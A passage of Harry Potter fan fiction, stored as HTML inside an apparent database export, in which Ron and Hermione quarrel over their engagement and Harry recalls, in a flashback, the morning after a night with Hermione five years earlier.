</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, spill your guts, Potter,&#8221; Ron was saying. &#8220;What are you doing here?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He couldn&#8217;t tell him the truth, now, could he? Harry thought to himself. Sirius had said that the best plan was to keep this investigation between the three of them, meaning he, Hermione and Sirius. Ron would have to be left out of this, for the time being. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I heard that my two best friends in the whole world were getting married. How could I miss that, right?&#8221; Harry said, smiling at Ron and Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, if that&#8217;s all it took to get you back here, I&#8217;d have gotten married ages ago,&#8221; Ron said. &#8220;This is absolutely fantastic, Harry. Now you can be my best man.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I don&#8217;t know about that, Ron,&#8221; Harry said, uneasily. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on. You have to stand up with me on that special day. It wouldn&#8217;t seem right without you there. Unless, of course, Hermione&#8217;s asked you to be the maid of honor,&#8221; Ron said, laughing at his own joke. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed, too. &#8220;Of course, I haven&#8217;t. Besides, the pink dress wouldn&#8217;t look all that great on him, anyway.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, not really my color,&#8221; Harry said, laughing. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I really want you to be the best man, Harry,&#8221; Ron said. &#8220;Please.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think it&#8217;d be a good idea, Ron,&#8221; Harry said. &#8220;Besides, I thought your dad was going to be the best man.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, he was just holding your place,&#8221; Ron said. &#8220;I&#8217;m not going to take no for an answer.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, if that&#8217;s what you want,&#8221; Harry&nbsp; said, looking at Hermione as well as Ron. &#8220;If that&#8217;s what you both want; I&#8217;d be honored.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ha!&#8221; Ron said, beaming at him. &#8220;I knew he&#8217;d do it. Now, I just have to break the news to my dad. I should probably go and see them. You wait until they hear that you&#8217;re back. They&#8217;ll be ecstatic, especially Mum.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t wait to see Arthur and Molly. I&#8217;ve really missed them,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;You know I think your return will help me out in the long run, Harry. Molly will be so happy that you&#8217;re back, she might leave me alone about this wedding thing.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave her a look of mock indignation. &#8220;She hasn&#8217;t been that bad.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione chortled. &#8220;We are talking about the same person aren&#8217;t we? Ron, she wouldn&#8217;t stop hugging me after we announced the engagement. Everytime she sees me, she starts crying and hugging---&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron laughed. &#8220;Well, you know you&#8217;ve only had to put up with this for a short while. Imagine putting up with it for 23 years.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you remember how she reacted after she read those Rita Skeeter articles in our fourth year? She thought you had gone and broken Harry&#8217;s heart,&#8221; Ron said, snickering. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She was so cold to me when she arrived for the third task,&#8221; Hermione remembered. &#8220;I really felt bad about that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;Well, she warmed up to you pretty quickly after she found out it wasn&#8217;t true.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;After she found out I wasn&#8217;t some &#8216;scarlet woman&#8217;, right Ron?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, it wasn&#8217;t my fault you were stringing along Harry and Vicky Krum, Hermy-own-ninny,&#8221; Ron said, laughing. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him a hard smack on the arm. &#8220;I told you to never call him Vicky.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry, sorry,&#8221; Ron said, stifling more laughter. &#8220;Whatever happened to old Vicky, any way?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry watched the smile fade from Hermione&#8217;s face. He knew her answer. She had told him five years ago. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know I kind of lost track. Last I heard he was teaching somewhere in Siberia,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still pining over you, no doubt,&#8221; Ron said. &#8220;Who knew that I would end up with Viktor Krum&#8217;s ex-girlfriend?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave an angry look at Ron. &#8220;I&#8217;m not a prize, Ron.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wasn&#8217;t saying that you were, Herm. I was just saying it&#8217;s a little odd that hand-me-down Ron Weasley got the girl. I finally got the girl,&#8221; Ron said smiling at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Hermione said, rolling her eyes. &#8220;We might need to rent out a larger place for the wedding than Hogwarts. I don&#8217;t think your ego could fit into the Great Hall.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; Ron said. &#8220;I&#8217;m only joking. You always get like this, you know. Can&#8217;t I be happy that I finally got something myself. Not because I was someone&#8217;s sidekick or someone&#8217;s brother.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood up and looked angrily at Ron. &#8220;I can&#8217;t believe you! You are so unbelieveable. Are you marrying me to prove a point? I cannot believe you. You&#8217;ve always been this way.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stood up and got between them. &#8220;Hey, hey. Guys. Come on. We were having a good time and then all of a sudden you start arguing. It&#8217;s really like old times, huh? Just calm down. We&#8217;re all pretty tired. We should just calm down and sleep on this. Things will seem much better in the morning.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8217;s right,&#8221; Hermione said, still glaring at Ron. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron sniffed. &#8220;Fine, I&#8217;m tired anyway. I&#8217;ll, um, I&#8217;ll come by tomorrow.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going to work tomorrow. I have no idea when I&#8217;ll be back,&#8221; Hermione said, turning away from them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, fine,&#8221; Ron said, grabbing his jacket. &#8220;I&#8217;ll see you when I see you, then. Harry, it was great to see you, mate. Good night, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione just stood there with her back to him. She didn&#8217;t turn away until she heard the door slam behind Ron. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t know what he should do. &#8220;Hermione-,&#8221; he began. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not now, Harry,&#8221; Hermione said. &#8220;I&#8217;m tired.&nbsp; I just want to get some sleep, okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Whatever you want,&#8221; Harry said. He watched in silence as she made her way to her bedroom. He heard her door shut and he then sat back down on the couch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The more things seem to change, the more they seem to stay the same, he thought, as he lay down on the sofa. </p> '),
	(255, 11, ' <p>Thanks again for all the kind reviews! You guys are great. Sorry this one took so long, but I hope you like it. </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 11 </p>\n\n<p>Time </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was sometime around 11:00 that Harry couldn&#8217;t take it anymore. He&#8217;d tried everything he could possibly do to sleep, but he couldn&#8217;t. He was worried about Hermione. She&#8217;d been extremely angry, to say the least, after Ron had left. He&#8217;d understood---sometimes, Ron had a habit of saying something without thinking about it first. Come to think of it, most men had that problem, including me, Harry thought as he stood up from the couch. He paced back and forth in front of the sofa contemplating what he should do. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He had to make sure she was okay. He would just knock at the door and take it from there. It wasn&#8217;t much of a plan, but it was all he had. He knew that he wouldn&#8217;t be able to sleep until he knew that she was alright. He slowly made him way past the kitchen and into the hallway that led to Hermione&#8217;s room. He lifted his arm to knock on the door, but noticed that the door wasn&#8217;t shut all the way. He pulled the door open a little more and saw that Hermione was asleep. The lamp was still on and a book lay open beside her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He knew he should walk out of the room and go back to the couch, but he couldn&#8217;t move. As he stood there watching her sleep, his mind took him back to another time&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>Flashback </p>\n\n<p>Five Years ago&#8230;The Morning After Harry/Hermione&#8217;s night together &#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had woken up early that morning. He&#8217;d had the most wonderful dream about Hermione. As he rubbed his eyes and reached for his glasses on the bedside table, he saw a sight that told him that it hadn&#8217;t been a dream. It had been real. There was Hermione, sleeping peacefully beside him. He smiled as he watched her sleep. He had never remembered anything looking more beautiful in his entire life. He chastised himself for sounding like something out of one of his Aunt Petunia&#8217;s cheesy romance novels. </p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Being careful not to wake Hermione, he eased himself out of the bed and quickly dressed in a pair of jeans and a sweatshirt. He found his socks and shoes and quickly made his way out of the room and went downstairs. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Leaky Cauldron was quiet that morning. Only a few patrons were seated at various tables. The proprietor, Tom, was wiping down a table when he saw Harry approaching.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good morning, Harry,&#8221; Tom said, brightly. &#8220;Or should I say the graduate, huh? Congratulations, Harry! I can remember, like it was just yesterday, when you came in here with Hagrid. You were in awe of everything! And look at you now!&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry could feel his cheeks turning red. He smiled wistfully at the mention of Hagrid. &#8220;Yeah, Tom. It seems like such a long time ago, now.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hagrid would have been so proud of you, Harry. He would come in here from time to time and just talk about you and all the stuff that you&#8217;d done. He loved you like a son,&#8221; Tom said, his voice seemed to break as he too remembered Hagrid. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Talking about Hagrid had always been a tough subject. Harry had always felt both angry and guilty at the mention of Hagrid. Not angry at Hagrid, of course, but angry at himself for not being able to save the first person who&#8217;d ever been his friend; the person who brought him from a terrible life with the Dursleys to the place he&#8217;d found a home, and friends and love---Hogwarts. When Hagrid had died at the hands of Voldemort, a piece of Harry had died too. If anything good had come of it, it had toughened Harry&#8217;s resolve to bring Voldemort to an end. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, Harry,&#8221; Tom said, trying to change the subject. &#8220;What can I get for the graduate?&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could I get an order of French toast, pancakes, eggs, bacon, orange juice, coffee and strawberries, please?&#8221; Harry asked. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s quite a bit of food, isn&#8217;t it?&#8221; Tom asked, giving Harry a quizzical look. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, yeah,&#8221; Harry stammered. &#8220;I&#8217;m really hungry. I didn&#8217;t get a chance to eat anything after graduation, so I&#8217;m famished.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay. Are you going to want to eat it here or bring it upstairs?&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Upstairs,&#8221; Harry said. &#8220;Thanks.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I almost forgot, Harry,&#8221; Tom said, frowning. &#8220;This came for you first thing this morning.&#8221; He handed Harry a plain white envelope that had a familiar script on it. Harry recognized it immediately as Sirius&#8217; handwriting. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks, Tom,&#8221; Harry said, as he watched Tom head back to the kitchens to prepare Harry&#8217;s breakfast order. Harry took a seat at the bar and opened the letter. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p><i>Dear Harry, </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Congratulations on your graduation! I wish that I could have been there to see it. I have some exciting news for you; news that I will need to tell you in person. I will be arriving at The Leaky Cauldron tomorrow morning. I have a lot to tell you. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I hope you know that I am very, very proud of you, as I know that your parents would have been, too. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please give my love and congratulations to Hermione and Ron. </i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Sirius. </i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry folded the letter after reading it and placed it in his jeans pocket. He had no idea what news Sirius could possibly have to discuss with him. For the past two years, Sirius had been working as an Auror. His work took him into dangerous places and put him into some precarious situations. Harry knew, however, that his godfather loved the job. Knowing this didn&#8217;t stop Harry from worrying about Sirius, though. Harry had already lost so many people he&#8217;d cared for, he didn&#8217;t want to even think about losing Sirius, too. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When Harry&#8217;s order was ready, Tom offered to help him bring it upstairs, but Harry politely declined and assured Tom that he could handle it. Harry quickly made his way back up the stairs to Hermione. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As he opened the door, he found Hermione awake. She was wearing one of his t-shirts and was sitting on the window bench looking out at the street below. When she heard Harry enter, she turned and smiled. She noticed his hands were full and she quickly walked over to help him. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is all this?&#8221; she asked. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Breakfast,&#8221; he said, proudly. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked down at the array of breakfast foods on the table and looked at him in disbelief.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Until the end of time?&#8221; she asked, suppressing a smile. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I wasn&#8217;t sure what you wanted to eat so I got a little bit of everything,&#8221; he said. &#8220;I hope you&#8217;re hungry.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled. &#8220;Actually, I&#8217;m starving.&#8221; She picked up a strip of bacon and eagerly popped it into her mouth. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s what I wanted to hear,&#8221; Harry said, sitting down at the table and motioning for Hermione to do the same. She sat and they each helped themselves to pancakes, eggs and juice and fruit. They ate in silence. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione finally put her fork down and looked pointblank at Harry. &#8220;This is so weird.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you mean?&#8221; Harry asked, trying to look as if he didn&#8217;t understand what she was saying. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know what I mean, Harry,&#8221; Hermione said, pointing at herself and then at Harry. &#8220;This. You and me. You know we&#8217;ve always been friends, you and I and now&#8230;&#8221; her voice trailed off. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And now what?&#8221; Harry asked. &#8220;We&#8217;re still friends. The only thing different is that now we&#8217;re friends who&#8217;ve seen each other naked. No big deal.&#8221; He picked up another piece of bacon and popped it into his mouth. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She couldn&#8217;t help but laugh at him. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s an interesting way to put it. But, come on, Harry. You know what I mean.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; he said. &#8220;I know what you mean. Do you, um, regret what happened?&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She started to answer him, but he stopped her. &#8220;Before you answer, I want you to know that I don&#8217;t. I don&#8217;t regret it at all. The only thing I regret is that it took so long for us to admit that there was something between us. Last night, that wasn&#8217;t a mistake. And it wasn&#8217;t unexpected, either. It&#8217;s like I said before, we&#8217;ve been dancing around this for a long time. I want you to know, Hermione, that I love you.&#8221; He reached over from across the table to take her hand. &#8220;I love you.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t say anything. He thought he&#8217;d made a mistake by just admitting to her how much he loved her. He might have scared her by being so forward. Her look of surprise, though, quickly turned into a smile and her lower lip began to tremble. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can say something now,&#8221; he said, smiling uncertainly at her. &#8220;In fact, it would be greatly appreciated.&#8221; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, Harry,&#8221; she said. &#8220;You have no idea how long I have waited to hear you say that.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you&#8217;ll just have to forgive me for being a little slow on the uptake,&#8221; he said, smiling shyly at her. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can&#8217;t help it, you&#8217;re a guy. It&#8217;s in your blood,&#8221; she said, laughing. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey,&#8221; he said, standing up from the table and looking at her with a mock pained expression on his face. &#8220;You are going to pay for that one, Miss Granger.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, too, arose from her chair and stood in a protective stance. &#8220;Oh yeah?&#8221; she asked. &#8220;Well, you&#8217;ll have to catch me first.&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They chased each other around the room for a couple of minutes laughing and just enjoying being together. Within moments they were kissing on the bed. Harry had never remembered ever feeling so happy or feeling so at peace with the world. It was like everything he had done in the past had all been worth it to end up here in this moment with Hermione. </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He had no way of knowing then that within a few short hours, that he would be leaving her. He had no idea what choice would be presented to him in just a few hours. All he knew at that moment was that he was in love and even more importantly he was loved in return. </i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Present-day</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took one last look at Hermione. She was as beautiful now as she had been then. He hadn&#8217;t thought it possible, but he loved her more now than he had then. Looking back on that short time that they&#8217;d had together, he couldn&#8217;t fathom how he had been able to leave her behind. He couldn&#8217;t believe what an idiot he had been. He had thought that what he was doing for the best, but he knew now that that hadn&#8217;t been the case. Hermione had been right. He&#8217;d always had to play the hero---he had been trying to live up to that name his entire life----The Boy Who Lived. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Things had changed so much in the past five years. If he&#8217;d known then what he knew now, he never would have left her. He also knew that when the time came, he didn&#8217;t know if he&#8217;d be able to leave her again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He took another look at her sleeping face and slowly bent down and softly kissed her forehead. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sleep well, Hermione,&#8221; he whispered. &#8220;I love you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He slowly crept out of the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He had no idea that Hermione hadn&#8217;t been asleep at all. &nbsp;</p> '),
